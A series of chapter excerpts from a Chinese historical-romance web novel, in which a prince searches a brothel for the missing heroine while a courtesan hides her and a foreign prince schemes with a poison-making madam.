除了身为一个不由自主的风尘女子之外,在其它方面,兰香似乎要比她活的更恣意一些。不像她如今这般,被人控制着,小心翼翼如蝼蚁般渺小地生活在潮湿阴暗的夹缝里。 表面上看起来,她也算是在同行里有些头脸的人物,可实际上,她却连大口喘气都很难做到。 可为了有生之年能够再见她的儿子一面,只要一面,她又不得不对这个北烈国大皇子言听计从,助纣为虐,以至于到如今越陷越深,做下这么多伤天害理的恶事。 她自是知道,这一世,她坏事做尽,死后一定是会下十八层地狱的。可只要她的儿子好好的,她就算死后魂飞魄散,那又如何?! 她又怎能不知,北烈国皇子拓跋泽是个心狠手辣,极其阴险之人。虽然他们之间早有约定:她以毒术助他夺取天下,统一灵空四国,而他必须答应到时候放过她的儿子,让她们母子团圆。 但是,正所谓“飞鸟尽,良弓藏;狡兔死,走狗烹”,她心中岂能不知,无论拓跋泽的计划到最后到底是输是嬴,他都不可能会让她好好活着。 既然横竖都是 死,与其大家一起共赴灭亡,倒不如,放这些无辜的孩子一条生路。 这些年,她在万娇阁里演戏演的太 第一百二十五章:从开始到现在 这时,忽然上来一个小厮,他是见易君浩回来,特意上楼前来帮他开门的。只见小厮的手里似是还拿着一封信函,一走到易君浩身边便恭敬地将信函递上,说道“公子,有您的信。” 之后,便很快替易君浩将房门打开,易君浩迅速接过来将其打开来一口气看完,之后口中喃喃道“也罢,城南里还有些事尚未处理完,待办好一切再来这香满楼与丫头一起汇合回城西。” 一回神,易君浩问小厮“你可知道隔壁房内的客人今夜是否已经回来了?” “天都这么晚了,客人们应该都早已回来歇下了吧?!”小厮挠着脑袋,猜测着说。 于是,稍一迟疑,易君浩朝一旁的小厮吩咐说道“本公子有事要暂时离开香满楼几日,现在留一封书信在此,明日你替本公子交于隔壁这个房间的客人。” 易君浩一边说着,一边走到书案边拿起笔留下了一封书信交于了小厮,并打赏了他一锭银子。 随后,便和小厮一道下了楼去。 小厮送他走到香满楼门口的时候,易君浩仍不忘再次叮嘱了他一次“切记,务必亲自将此信交于那位客人。” “公子放心,小的一定会亲自将信交到那位客人手中。”小厮信誓旦旦回道。 易君浩看了他一眼,又抬头朝二楼衣上云的窗口依依不舍地望了片刻,心里道“丫头,乖乖等我回来。”方才转身离去,消失在一片茫茫的晨雾之中…… 易君浩前脚刚刚离去,后脚轩辕翰便身着一袭锦衣白袍,墨发全束,尊如神袛般地从三楼缓缓走下楼来。 程良在前面径直将其很快带到了二楼的天字号客房,衣上云的房间门口,似是害怕惊扰到了里面人儿的美梦一般,他小心翼翼地将门轻轻打开来。 随后,轩辕翰便缓缓踱步进去,目视着眼前的一切,入神地对其沉默着,沉浸在这片留着衣上云的气息中…… 客房内的陈设之物竟亦都是少女闺房所用,所有用品都是上等品质,极尽奢华。 房内挂着紫色的轻纱幔帐,笼罩出一种隐隐约约朦朦胧胧温馨的气氛。一阵晨风吹过,那紫色轻纱随着窗外徐徐吹过的风儿起舞飘动着。 环往四周,房内尽是用的上好的檀木,不时飘来一阵紫檀香,幽静而美好。尽是细致地精雕上不同花纹,处处流转着属于女儿家的细腻温婉感觉的木制家具。 靠近窗边,有个瓷盆中栽着一株娇艳的珍珠梅。 窗内,花梨木的书案上摆放着一叠上等宣纸,砚台旁的笔筒里搁着几支粗细不同的毛笔,似是在展示着这房内所住的人儿亦是书香人家的千金小姐。案上还放着一支花瓶,里面插着一枝冬梅,显得有些遗世而独立。 驻足观望了半晌后,他又缓缓踱步走进内室,是闺中女儿家都有的梳妆台,上面摆着一面菱花铜镜和朱红漆雕喜鹊梅花的首饰盒,还有一些细索的珠翠饰品。 轻轻挑起璎珞穿成的的珠帘,卧榻边的牡丹屏风便首先映入了眼帘。 屏风后,檀香木的雕花床榻上挂着外层绸绫,里层轻纱的双层紫罗兰色床帐,头顶是一袭一袭的流苏,随风摇晃着。 内室里靠窗边的一角上,高面盆架的横板上上放着玫瑰胰子,架子的最上方整齐的搭着一条洁白的绸巾。 眼前所有一切,让入住这间房的人,无论房间设计还是屋内摆设以及贴身用品,乃至于到细微的胭脂水粉,无论是哪户千金降临,相信都会有一种宾至如归的感觉。 轩辕翰一边朝内走,目光一边四处仔细探索着。 忽然,他将目光落在了放在床榻上的一个被整理的整整齐齐的暗纹锦缎包袱。 顿时,他那双深邃炯炯有神的眼眸朝其一怔,三步并作两步地移步过去到床榻边,撩起袍角坐了下来,看着眼前的包袱心里暗自猜测道“这是她的行礼?” 稍一迟疑,只见他缓缓伸出来一双骨节分明的大手,将榻上的包袱轻轻打开来。 顿时,一套他熟悉的不能再熟悉的藕粉色衣裙和一件厚重的红底绣着几株白梅的锦缎斗篷现了出来。 除夕夜,她正是穿着这身衣装与他有了第一次极为亲密的肢体接触,确是让他悲喜交加。 念及此,他用一只手一遍又一遍温柔地抚摸着它,似是在轻抚着一个自己心上娇柔的美人儿白皙姣好,吹弹可破的面庞似的小心翼翼。 片刻后,他又轻柔地拾起了里面的那支嵌着两朵桃花的长流苏簪子,拿在手里一边轻轻地转动着,一边眼睛柔情似水地注视着它。 顿时,过往关于他们相识里,所发生的所有一幕幕,从开始到现在,一起涌上心头…… 半晌后,稍一回神,他忽然皱起眉头来,将那支嵌着两朵桃花的长流苏簪子紧紧攥在手心里握着“程良。”   第一百二十六章: 她可怜,难道你不可怜? 轩辕翰不紧不慢地分析“那兰香得知玉娘不见了的消息,竟还敢冒险前来将拓跋泽的画像还回来,而没有立刻翻脸不认人,想必和玉娘亦是真的有些感情的。云儿来万娇阁里,也正是出于关心为了替灵儿婆孙寻回玉娘的消息。然她寻不见玉娘却恰巧让她碰到了与玉娘平日里极为交好的兰香。那兰香又良心未泯,既然如此,她又怎么可能伤及无辜的云儿呢?” 然程良听了依然心中纳闷道“那属下就不明白了,既然如此,那兰香究竟为何要将衣姑娘带出万娇阁呢?就说玉娘已不在万娇阁里,把她打发走不就行了么?她又到底带衣姑娘去了哪里?” 顿时,轩辕翰的眼神变得极为悠长,单手负后着,身姿挺拔地立在内室的窗口,看着窗外天微微亮的时候,河边散发出来的一层薄雾,沉默了半晌,忽然开口道“这万娇阁里,确实有着太多的阴谋,这次本王务必一定要将其彻底捣毁,决不姑息;玉娘,她一定就在万娇阁里面;兰香带走云儿,则是想要保护她。” 话一说完,轩辕翰便收回视线,低下头来,将负于身后的那只紧紧握着的拳手放在身前来缓缓张开,随即看着手里紧紧攥着的那支嵌着两朵桃花的长流苏簪子发起呆来…… 许久后,他缓缓回过神来,似是心中已经有了主意,抬起眼对着程良说道“先派人把那个叫兰香的女子监视起来,包括平日里和兰香交好的人。但切勿打草惊蛇,看看她到底想做什么,她一定知道万娇阁的许多事情。另外,一定要将万娇阁里的暗室尽快找出来,如果还找不出就放大一下搜索范围。如果本王没猜错的话,玉娘一定是被他们藏在了密室里。仅凭一个区区老鸨女流之辈,还翻不了这么大的浪。万娇阁真正的主子,极有可能便是潜入我西秦的北烈国大皇子拓跋泽。他要监视着万娇阁的一举一动,必然不会走远。” “放大搜索范围……是”程良琢磨着领命。 然话刚说着,程良似是心中尚还有另一事疑惑不解“殿下,属下还有一事不明。” “可是那俩个带云儿来万娇阁的神秘男子?”轩辕翰脱口而出道。 程良惊道“殿下英明,那带衣姑娘来城南万娇阁的带着面具的男子究竟是什么人?为什么又会突然不告而别了,他们处心积虑地守着城西衣府,意图寻找机会将衣姑娘带来这里,这一切到底是为了什么?不会又是拓跋泽的人吧?” 轩辕翰闻此眼睛顿时一怔,稍一犹豫,说道“想必应该不会是拓跋泽的人,他并不识得云儿,更不会搬起石头砸自己的脚,带她回到万娇阁里找人。此人意图想要接近云儿是真,但却未必是想带她来这里。他们到底是什么人…你可还 记得那个东宁国三皇子梅志煊?” 程良稍作回忆道“殿下是说,您大婚时候东宁国的那个送亲使者三皇子梅志煊,他送亲礼结束后不是已经回国了么?” 轩辕翰眨了下眼睛,说道“记得当时玥儿说从那个衣府门前茶馆的掌柜那里打探到带走云儿的人是来自东宁国的商人,那时本王便已经怀疑这两个东宁国商人在我西秦怕是不仅仅只是简单的商人而已;直到见到他们在如意居里登记的入住客人信息竟是‘江志煊’……” 轩辕翰话还没说完,程良急急抢过来说道“‘梅志煊’‘江志煊’…殿下是怀疑这江志煊实际上是东宁国三皇子梅志煊?!” 轩辕翰闻之却并没有说话,只是不由得深深地皱起了眉头,眼睛顿时发出甚是寒厉的光来。 程良见了瞬时满脸怒色道“竟然是他,真是可恶。这个东宁国,果然是对我西秦心怀不轨,背地里一直宠宠欲动着。还妄想借以将其公主送到我西秦内和亲,与其里应外合,助其成大事。这梅志煊明摆着就是一直暗伏在我西秦境内谋划着这一切,怕是送亲结束后根本就没有回到东宁去。” “梅志煊,看他对我西秦地境熟门熟路,知之甚多。就连到达这万娇阁的速度都如此之快,竟比本王的速度毫不逊色,他定是走了捷径。只怕他在西秦里已不是一天两天了。”轩辕翰幽幽道。 “可是他究竟为什么要接近衣姑娘呢?他们并不熟悉的啊,衣姑娘只是个普通的女子而已。”程良一转念随即又问。 见到轩辕翰闻此并未做声,程良心中亦顿时觉得西秦目前的局势远远比自己想象的更加严峻。 主仆俩沉默了半晌之后,程良开口安慰说道“殿下也不必太过忧心,目前无论是衣姑娘还是玉娘,没有消息便是好消息。属下这就下去重新安排,这次一定将藏匿玉娘的密室找出来。” “衣府周围就不必搜了,顾忌那梅志煊已是发现了本王亲自前来找云儿,早已经逃脱了,他也定已经料到本王会在城西衣府严加搜查,绝对不会再回到那里做瓮中之鳖的。只需要派两个得力的人手在其附近暗中守着,这次没成功,或许他还会再去找云儿的。还有那易三少,此人背景虽是不可小觑。但事急求全,无论他是何身份,可对于云儿,本王相信他是绝对不会伤害到她半分。因此,也许我们可以与他合作。”轩辕翰镇定地叮嘱道。 “属下明白。”程良说着,便恭敬地朝其行礼退了下去,将门轻轻掩上。 顿时,一室寂静,轩辕翰再次松开来那只紧紧握着的拳头,看着手心里紧紧攥着的那支嵌着两朵桃花的长流苏簪子,轻叹口气,自言自语道“究竟你和东宁国有什么关系, 怎么会被其皇子盯上了?……” 万娇阁后院,拓跋泽的房间里。 拓跋泽紧握的拳头重重地拍在了面前的案几上,瞪大着眼睛朝老鸨怒道“什么?今日来的那两位客人不见了,你到底是怎么办事的,难道俩个大活人还能凭空消失了不行?” 老鸨见其大怒,慌忙地双膝跪地,怯怯地解释道“老奴实在也不知啊。当时,官兵来到阁里四处搜查,一片混乱。老奴只顾着打点官差,应付客人了。” 拓跋泽仍气势不减,稍一迟疑问道“当时是谁侍候那俩人的?” 老鸨有些犹犹豫豫地说道“是…是兰香和嫣红…可她们都是很懂事的,绝对不会做背叛万娇阁的事情。” 然拓跋泽根本似是没有听到老鸨后面的话,只自顾自地回忆片刻后,问道“兰香,可 第一百二十七章:煮熟的鸭子飞了 老鸨这才缓缓开口问道“万娇阁里素来太平,往日即便是官府不得已一定要走走过场,也只会派赵捕头带两个人过来瞧瞧,可今日为何官府会如此声势浩大地闯入万娇阁里前来寻事?还有,那个叫做衣上云的女子究竟是什么人,殿下为何对她如此上心?官府手里的画像上亦是看不到任何说明,并不像是在抓捕逃犯?” 拓跋泽听了深吐一口浊气,对其道“衣上云…她可并不是什么逃犯。今日来的这些官兵可不是普通的官兵,他们…是秦王府派来的。你是医痴,亦是顶级的毒蛊师,你可相信在这世上,竟有人能破解得了天花之毒么?这样的人,你是不是也觉得很好奇?而更重要的是,似乎这个西秦国战神,秦王轩辕翰对她也很有兴趣。” 老鸨听闻顿时大惊道“什么?殿下何时取走了老奴所制的天花毒?这一切到底是怎么回事?” 拓跋泽带了些轻蔑的眼神瞥了她一眼,道“前些日子,本皇子得知那被西秦璟帝安派在外,往灵空诸国游历的西秦太子,即将从南安的国土回到西秦皇宫里。本打算在其归国的途中除掉这个祸患,亦是给那西秦璟帝一点儿颜色看看。可是后来...本皇子忽然想到了一个更好的可以两全其美的办法。这个办法既可以让西秦和南安境内同时发生一场囫囵而至的天灾。若那太子不是个呆头呆脑的,被他猜测反应过来自己是在南安境内中毒的,如此便又可以在不知不觉间挑起西秦与南安的一场大战。怎么样,本皇子的计策不错吧?!” “什么?”老鸨听闻,心中顿觉不可思议地惊愣住。 拓跋泽看着老鸨此时极为惊讶的表情,停顿了片刻,接着叹了口气继续说道“只可惜,这一切竟然被一个黄毛丫头给搅黄了,她竟破解了你所制的天花之毒。那西秦太子到现在都还好好地活着,就像什么事都没发生过一样。本皇子费尽心机所设计的这一切竟然没能使一人中毒,本皇子甚至差点儿怀疑是不是你制的毒有问题。” 看着拓跋泽投过来的带着质疑,极为严厉的眼神,老鸨扑通一声跪倒在地“殿下明鉴,老奴绝对不敢诓骗殿下,老奴保证那毒一定不会有任何问题。许是这大千世界,真的有人比老奴更技高一筹,解得了这天花之毒也是有的。只是...真是那个女子解的毒么?” 这拓跋泽果然歹毒阴险至极,竟然派人偷偷取走她炼制的毒。幸亏当时她在制这味毒的时候,除去了天花毒极强的传染性,只保留了其表面的特征,使其看似和天花的病症一模一样,却并没有任何传染性。否则,这天下怕是如今早已饿殍满地了。看来以后要更加小心 地提防他了。 拓跋泽闻之不言不语,只是暗自冷哼一声。 老鸨却顿时领悟道“难道...他就是殿下口中所说的衣上云。今日来阁里的那个遮着面纱的公子,便是那秦王轩辕翰在万娇阁里所寻找的叫做衣上云的女子,她是乔装成男子的。” “蠢货,到现在才发现。可惜,这送上门来的煮熟的鸭子就这样飞了。你还不赶快滚回去问问清楚你那个好女儿,究竟将这人带到哪里去了?”拓跋泽怒骂道。 然老鸨心念一转,又疑惑地问道“方才殿下说,西秦秦王轩辕翰对她也很有兴趣,不知殿下这话又是什么意思呢?” 拓跋泽稍一迟疑,便对其幽幽道“传闻西秦秦王爱才惜才,曾其年幼时便已经盛传轰动整个灵空大陆的唐门陆贤一事,让那天下奇才陆贤自此一生都以他马首是瞻。而今又出了这样的解毒高手,谁又不想将其纳入自己麾下呢?!” 说起医药、毒蛊、下毒、解毒之术,老鸨自认为在这灵空大陆里,她已是极为顶级的了。看今日那女子的年龄,左不过也就是个十七八岁的孩子,竟会有如此高超的解毒之术,她的心里着实对其亦是产生了兴趣。只是,这二人今夜究竟是如何离开的...... 思及此,老鸨急急回过神来禀道“是老奴眼拙,竟没能识出她是女扮男装的,老奴这就下去仔细寻人去。” 拓跋泽朝其无奈地摆了摆手,老鸨便缓缓起身来退了出去。拓跋泽随即望向窗外,一夜未眠,脸上早已是满满的倦意,却又满腹心事不能安睡去。如今,万娇阁内似乎已经极为不安全了,此时想必那秦王轩辕翰定是明里暗里地已将整个万娇阁围得水泄不通了。这老鸨一直以来也似乎并不是那么可靠,对自己诸多的阳奉阴违...... 想着想着,不禁发出一声长叹来,口中暗自喃喃道“衣上云......” 转眼间天色已经大亮,万娇阁附近的一座甚为不起眼的简朴民宅里,衣上云亦缓缓清醒了过来。 兰香昨夜里朝她重重劈下去的那一掌,显然一点儿也不轻,竟使她一夜都未曾醒来过片刻。 这时,一位老婆婆一手拄着拐杖,另一手夹着一木盆水,步履蹒跚地从院子里走了进来,一掀开门帘进门便和气地说道“姑娘醒啦!” 衣上云尚还未完全清醒,只觉脖颈后方疼痛不适,想要伸手出去轻抚,这才发现自己被一根草绳五花大绑着,她本能地挣扎晃动了几下,绑的倒是挺结实的,竟一点都挣开不得。 &n 第一百二十八章:传说中的神秘部落 “婆婆莫要挂心,兰香是个好姑娘。她在外面是在靠自己的本事讨生活呢,婆婆不要多心了。许是在外面的日子时而有些辛苦,诸多不易,所以才偶尔会对婆婆发些脾气,没事的。” “真的么?她真的是在靠自己的本事讨生活。”婆婆一听,有些出乎意料地欣喜道。 衣上云朝其微笑着,用力地点点头。 “好...好...这就好。哦,我来给姑娘把绳子解开。”婆婆高兴地一边说着,一边转身朝衣上云身边走了过去。 就在婆婆的手刚触摸到紧紧缠绕在衣上云身上的那根草绳的时候,门外忽然传来了一声“住手。” 闻此,衣上云和婆婆的目光不约而同地看向了门口。 只见兰香伸手掀开了门帘来,却只站在门口一动不动,像是被钉在了原地一般,只怒目对着俩人。 片刻后,方才开口埋怨道“外婆,你怎么能忘记香儿对您的交代呢?香儿不是千叮咛万嘱咐,让您看好这个人么,你怎么能帮她解开捆绑呢?” 婆婆急忙拾起拐杖起身来,笑着向兰香走过去,解释道“香儿,这个姑娘是个好人。她...” 然兰香不等她将话说完,便急急打断了她,朝她冷哼一声说道“哼...好人?这世间何为好人,又何为歹人,外婆要是能分辨的清楚,香儿也不会是今天这副模样了。” “香儿,你...”只见婆婆瞬间褪去了脸上的笑意,话到嘴边却又吞进了肚去。 这时,兰香的目光从婆婆的脸上移至衣上云身上。 婆婆看看她,又转头看看床榻上被绑的紧紧的极为不适着的衣上云,无奈地气道“好,好,好...这一切都怪我,都是我的错,我的错。以后,你爱怎样便怎样吧,我永远都不管你了,好了吧?” 话一说完,婆婆便拄着拐杖气呼呼地走出了屋去。 这时,衣上云开口道“你怎能如此同你外婆讲话?她独自一人将你抚养成人,是多么不易!” “你住嘴,你知道什么。”兰香一边朝衣上云身边走过去坐下,一边对其怒喝道。 衣上云轻叹了口气,说“我知道,你外婆原来根本就不知道你这几年在万娇阁里做那种事。” 兰香闻之即刻抬起眼怔了一下,随即俯身到衣上云的面前盯着她的眼睛压低声音问道“你将此事告知了外婆?” 衣上云一脸正色,说道“没有,我只是告诉她说让她勿要挂心你,说你是个好姑娘,在外面靠自己的本事讨生活呢。” “哼...算你识相会说话。”闻此,兰香心中方才安心了 许多,含笑对衣上云说道。 随即,她起身来到案几边倒了盏热茶“看你表现还不错,本姑娘今儿心情也好,不妨告诉你一件事。” “和玉娘有关?”衣上云急道。 兰香一听,刚入嘴的一口茶水差点儿喷了出来“咳咳...咳咳...咳,我说你这个人,还真是够执着的啊。难道你的脑子里就只有玉娘么?” 衣上云幽幽道“玉娘,她是个很可怜的女人,她的夫君为了守护西秦子民,让更多的家庭得以团圆美满和幸福,舍小家为大家,在与北烈国对战的战场上失踪了,至今生死不明。她为了找寻其夫君的消息,更为了一家人能够团聚,她不顾自己的名节,撇下年迈的婆婆和尚且年幼无知的女儿,只身来到这万娇阁里。可如今,却说没就没了,这让我回去要如何跟婆婆和灵儿开口呢,她们一定接受不了。” 闻此,兰香说话的声音忽然变得温柔了起来“那你和玉娘又是什么关系?” “我和玉娘并无任何关系,只在秦...只见过一面而已。”衣上云答道。 “没有关系?一个与你只有一面之缘毫无关系的人,你竟也能对她的事如此用心,也真是难得了。”兰香惊叹道。 “世间的人与事,都讲求一个缘份。有的人,认识了一辈子也未必真的认识;而有的人,只要见一面,便仿佛已是相识了几世的故人。” 听到衣上云的这段话,兰香忽然想起了她生命里的那三个男人和万娇阁里的老鸨与嫣红来,这些不正是衣上云此时此刻所讲的那俩种人么。 稍一迟疑,不禁口中喃喃道“是啊,这世间的人与事,可不就都讲求一个缘份么!” 沉默了片刻,衣上云忽然开口打断了她的思绪“你方才想跟我讲的到底是何事?” 兰香这才回过神来,只见她轻轻放下手中的茶盏在桌案上,随后从衣袖里缓缓取出一张纸来,朝着衣上云踱步过去。 兰香展开那张纸来,放到衣上云的眼前,有些打趣地问她“你看看,可还认得这画像上的女子么,画的很不错喔?” “这...你想说什么,这画像你是从哪儿来的?”衣上云一眼便认出了画像上的人不就正是她自己么,兰香到底想做什么。 兰香笑了笑,说道“哼...万娇阁可是这西秦国里最有名的风月之所,进进出出往来的客人非富即贵,与当地官府更是交往甚密,素来太平。然今日,你前脚刚踏入万娇阁的大门不久后,官府的人便也来了。来了也便来了,这平日里官府来巡查的事也时有发生,并无什么特别,也都只不过是走走 过场而已。可今日带人来查的竟不是往日里的赵捕头,于是,我便心生好奇地打听了一下,你猜怎么着?” “怎样?”衣上云亦是有些好奇地问。 兰香惊讶 第一百二十九章:君子报仇,十年不晚 真真假假,假假真真,对于这个神秘部落的传说,到底哪种说法才是对的,亦或所有的说法都不对。 只是,老鸨清楚的记得,自己当初被南安国赶出来以后,正是因为这个充满神奇的传说而选择来到了西秦国,却不想让她在这里遇到了北烈国皇子拓跋泽。 当年,她遭亲姐姐算计,后又被迫母子骨肉分离,南安国君更是昏庸至极,竟都不分清楚青红皂白,便被那贱人蛊惑着急急下令将其永远地驱逐出南安国的境土。 之后,她伤心欲绝的在边境之地上囫囵度过了许多光景,在那里,她结识并习得了基本的毒蛊之术,却并不精进。 后来有一年,她终是无望地万念俱灰,想要愤愤离世之时,北烈国大皇子拓跋泽出现了。 拓跋泽得知了她的身份和悲惨经历后,便鼓励教唆她以其人之道还治其人之身,并告知了他的身份以及其宏图大志“总有一天,这整片灵空大陆都将被他拓跋泽一人踩在脚下。” 于是,带着对南安国的满腔仇恨和未来有一天能对自己儿子有所庇护,加之先前她听到的零星的关于古老的血族传说,老鸨便答应了拓跋泽留在西秦境内,由拓跋泽提供资源,帮助其潜心钻研医药毒蛊之术,与他合作。 那日起,她便发誓:有朝一日,她必将再次回到南安故国,一雪前耻,报仇雪恨。 思及此,老鸨的眼睛忽然转向了窗外浩瀚纯净的天空,又一次思念起她的儿子来,口中喃喃自语道“我的儿,应该也已经和拓跋泽的年纪相仿了吧......” 如今虽还是年关之际,却甚是一幅冬日里光秃秃的萧条景象,不见任何喜庆之色的普通平民家的小小院落里,东边角上简单地搭起着一座茅草屋,也且算得上是这个贫寒小门户的庖屋里。 屋顶炊烟袅袅,婆婆正在里面忙碌地在烧火烹煮,张罗着一餐简单的粥菜吃食。 兰香一出门便顿足向着这个所谓的庖屋看了看,望向了这个已满头银发,年迈不堪的老人,随后缓缓朝她走了过去。 婆婆见其走过来,很是生气地斜了她一眼,兰香见老人尚且还在生气着,便连忙上前挽起老人的胳臂,又将脑袋凑到老人的面前,似是撒娇般笑吟吟地说道“外婆可是还在恼着香儿?” 老人漫不经心地看了一眼搭在自己臂上的那双年轻的纤纤细手,又缓缓将她推了开来,依旧有些生气地哼声说道“哼...我这个瞎了眼又稀里糊涂,连好人歹人都分辨不清的糟老太婆,哪敢恼您呢?” 虽然知道这只是老人的一时气话,然兰香依旧忍不住很快 卸去了脸上的吟吟笑意。痴愣在原地,低声道“外婆...” 看到外孙女一时间笑意全无,老人又心疼着急了起来,赶忙走过去捉住兰香的手,语重心长地说道“香儿啊,不是外婆不记你的交待要帮那姑娘解开捆绑,而是她真的是个好姑娘,还是个宫里药师家的大家闺秀呢。她一个弱女子,只身一人来到城南,说是帮一位老婆婆寻找儿媳的。可你怎么...你怎么会把她带回家里绑起来呢?” 见兰香默不作声,似是心中有什么事故意瞒着不说,老人忽然想起了衣上云的话,便继续开口“对了,那姑娘说,你知道她要找的人的下落。外婆问你,你真的知道吗?你若知道的话,就快快告诉那位姑娘。人心都是肉长的,都知道疼,想必那位婆婆此时亦是极为思之忧之的。” 话一说完,兰香依旧只轻咬着嘴唇愣着不作任何言语,老人摇晃了一下其胳膊,提高声音道“香儿...你听到了没?” 兰香这才回过神来,急忙答道“香儿知道了,外婆就不要为此事操心了。香儿将她绑回家来,无论是对她,还是对香儿自己都是最好的。等过了这几天,香儿自会放了她,这一切也都是为了她好。” 老人听了,似是无奈地叹息一声,道“唉,真不知道你整天到底在做些什么,那姑娘还安慰我说,说你是个好姑娘,在外面靠自己的本事讨生活。可如今我瞧着,你竟已连掳人这种事都敢做了,天晓得会不会有一天你还能做出更出格的事来。我这到底是造了什么孽啊,你娘和你,就没有一个能让我省点儿心的,唉...” 话一说完,老人便摇了摇头往一边去盛饭。闻此,兰香默默地立在原地上无言以对。只口中喃喃道“她果真没骗我,真的跟外婆说我在外面靠自己的本事讨生活,而并未提及与万娇阁相关的半个字...想不到,她竟与秦王有关联,怕并不是一个简简单单的药师府千金。如今,与玉娘有关的那件事已经到了这个地步了,我若这个时候将一切告诉了她,主子的计划怕是十有八九会泡汤,到那时候主子一定不会饶了我,莫说拿回卖身契了,正如那老鸨所说,怕是自己的性命亦是难保的;可如果不告诉她玉娘的事,也不知道主子到底要玉娘做什么,仿佛我这心里又诸多不忍。与我不同,她和玉娘一模一样,她们都是正经人家的好女子,勇敢又善良,而我......” 正在她思索之际,老人已准备好了早饭,唤道“香儿,吃饭吧。” “喔,好的,外婆,香儿这就来。”兰香瞬时回过神来一边说着,一边过去捧起小食案朝正屋而去。 一进门,兰香便将饭食放在一边,之后竟然向着衣上云的身边走过去坐了下来。 &n 第一百三十章:梦园梦树梦花开 衣上云劝兰香“冤冤相报何时了,也许他也是有不得已的苦衷呢?他毕竟是你的亲身父亲。” “哼...不得已的苦衷...亲身父亲...18年了,这18年里,我,还有我娘和外婆,我们所受的歧视和痛苦,他可知道半分?或许他直到现在,根本都不知道这个世界上还有一个我。他有苦衷,他有苦衷就可以对我娘始乱终弃;他有苦衷,就可以抛弃妻子;他有苦衷,就要断送别人的一生,让别人也一世痛苦么?凭什么?” 闻之,兰香冷哼一声,紧紧地盯视着衣上云的眼睛,一字一顿清清楚楚地说着,眼里顿时噙满了泪水。话刚一说完,便将此时的一双凄美的眼睛高高抬起强忍着,不让眼里的泪水流出来。 见此,衣上云一时间竟无言以对,不知道说什么才好。有道是’天下无不是的父母’,可不知到底为什么,兰香与其父亲之间竟然会如此苦大仇深。 就在衣上云陷入沉思之际,兰香忽然吸了吸鼻子,似是已经整理好了委屈又烦闷的情绪,再次拿起筷子来一边帮衣上云往碗里夹菜,一边对她说道“快点儿吃饭,吃完了我带你去个地方。” “嗯?你要带我出门?你真的不怕我逃跑?”衣上云瞬时抬起头来,惊道。 然兰香一边吃饭,一边自信地对她说道“我知道,此时此刻,即使我用八抬大轿送你走,你也不会走的,对么?” 衣上云惊讶地看着兰香的眼睛,渐渐抿起了她那张温软的红唇。 “快吃吧,待会儿我拿我的衣裳给你换上。”兰香又一次催促着说,衣上云这才发现自己的发带早已没了踪影,至今尚且都还披头散发着,凌乱不堪。 俩人很快便吃好了早饭,衣上云亦麻利地换回了一身粉嫩的女儿家衣裙,簪了两朵朴素的短流苏头饰,梳妆打扮好,便跟在兰香的身后从屋里走了出来。 院子里,老人正忙着准备帮衣上云浣洗她刚刚换下来的那套白袍男装,衣上云看见连忙走过去客气地致谢道“多谢婆婆的照料,这几日里怕是要叨扰麻烦婆婆了。” “姑娘说的这是什么话,我们香儿打小便没有什么亲近的朋友,今日她能遇到姑娘这么好的人,是她的福气,婆婆开心都还来不及呢,浣洗个衣裳又有什么好客气的...不过,看你们这架势,是要出门?”老人一边对其喜笑颜开地说着,一边上下打量了下俩人的行装道。 这时,兰香急急上前插话道“外婆,她是从城西来的,甚少来咱们城南。香儿听说梦园里的梦树开花了,便想着带她过去瞧瞧。” 老人顿时满面欣喜地一边点头一边说道“梦树开花了?!好,好,好,去吧,去看看。年轻多好啊,不像我这 个老太婆,不但腿脚不好使了,如今就连这眼神亦是是越发的不好了,就算想看也看不清楚喽。” “婆婆眼睛不好么?”衣上云听了这话,有些忧心地问。 老人幽幽叹道“唉,人老了,便到处都不爽朗了。没事儿的,别担心,姑娘快去吧。这梦园里的梦树,每年到了开花的时候,可真的是一片梦海呢。这可是咱西秦国的一大景观呢。现下里正是春节,男男女女的,便肯定更是热闹了。那里的花儿开的是又香又美,婆婆我年轻的时候三天两头地跑去看,一辈子最爱看那里的花儿了。快点去吧,快去...” “真的有这么美么?那我可真得去瞧瞧了。婆婆,那我们走了,您独自在家,仔细着点,小心绊倒了,我们去去很快就回。”衣上云扶着婆婆的胳膊,叮咛道。 “去吧,去吧。”婆婆随即伸出两只手来,拉着衣上云和兰香的胳膊将俩人一起送出了院子。 站在门口的巷子里,老人看着俩个花儿一样的姑娘渐行渐远的背影,面带微笑,口中喃喃地叹道“多好的姑娘啊,真好。这下我们香儿终于有伴儿了。” 约摸着步行不到一个时辰的路程,走过了几条繁华的街道。渐渐地,一路上所见的行人亦越来越少。 衣上云忽然想起昨夜被兰香一掌劈晕的情景,想着想着不禁暗自笑出了声“呵呵...” 兰香见了纳闷地问“你莫名其妙的笑什么?” 顿时,衣上云看了她一眼,说道“你看起来柔柔弱弱的,没想到竟然习过武?难怪我昨夜被你一掌便劈晕了过去,竟一夜未醒。” “我那也是没有办法,我必须想办法将你带出来,你绝对不能留在万娇阁里。”想起昨夜发生的事,即便是此时,兰香心里仍是有些后怕地辩说道。 衣上云听了这话,却只一脸正色地对她说“我相信你不会害我,谢谢你...只是,你这拳脚是从哪儿学来的?” 兰香一边走,一边哼笑了一声,似是无奈地说道“哼,我那只是跟着万娇阁里的客人学的一些三脚猫的功夫而已,根本没什么用处。本来是想拿来应对那些不好相处的客人的,可是能花得起银子来万娇阁里找乐子消遣的客人,那都是非富即贵的主。我这是秀才遇到兵,根本没办法施展,到最后,便只能任由客人摆布,哪里还敢对客人动手动脚呢。” 闻此,犹豫了半晌,衣上云终是没能忍住,便压低了声音开口问道“兰香,你...你是如何落到万娇阁的?” 原以为依照兰香的炮仗式脾气,会一点即着,谁料,兰香听到这话却并没有生气,只是低头不语淡淡地笑着。 见此,衣上云也不便再继续追问。 忽然,俩人身边的行 人突然络绎不绝地多了起来,衣上云疑惑地左右张望着。当她的目光忽然移动看向前方的时候,顿时便被眼前的景象惊呆了。 眼前映入她眼帘的,是看着十分气派雄伟的一座超大的青瓦白墙园林式院落,其正面大门的门楣上高高悬挂着的匾额上雕刻着两个龙飞凤舞颇具气势的“梦园”字迹,更是令进进出出,来来往往的游客行人们惊叹不已。 衣上云眼睛直勾勾地望着那两个字,满脸惊喜道“这就是‘梦园’。” 兰香亦含笑对她答道“对,这便是闻名全西秦的大型园林‘梦园’。” 随即,俩人一道迈步缓缓踏上石阶进到大门内,园内一望无边的亭台水榭、殿堂楼阁、轩馆廊榭等各种建筑,还有众多木制和石制桥梁等便一一顿现了出来。 进到里面,方才知道,这‘梦园’原来是个园中园的设计,里面的院落不计其数。 